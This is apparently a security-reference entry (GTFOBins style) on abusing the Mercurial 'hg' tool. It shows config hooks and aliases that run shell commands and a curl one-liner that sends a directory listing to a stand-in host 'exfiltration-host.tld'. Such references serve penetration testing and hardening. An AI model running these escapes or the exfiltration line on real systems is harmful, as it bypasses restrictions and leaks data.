.. / hg

Star

• Command
• File upload

hg (Mercurial) is a source control management tool.

Command

It can be used to break out from the intended program by running non-interactive system commands.

• hg init --config=hooks.pre-init="sh -c 'ls'"

• hg init --config=alias.init="!uname -a"

File upload

It can exfiltrate files on the network.

• hg init --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"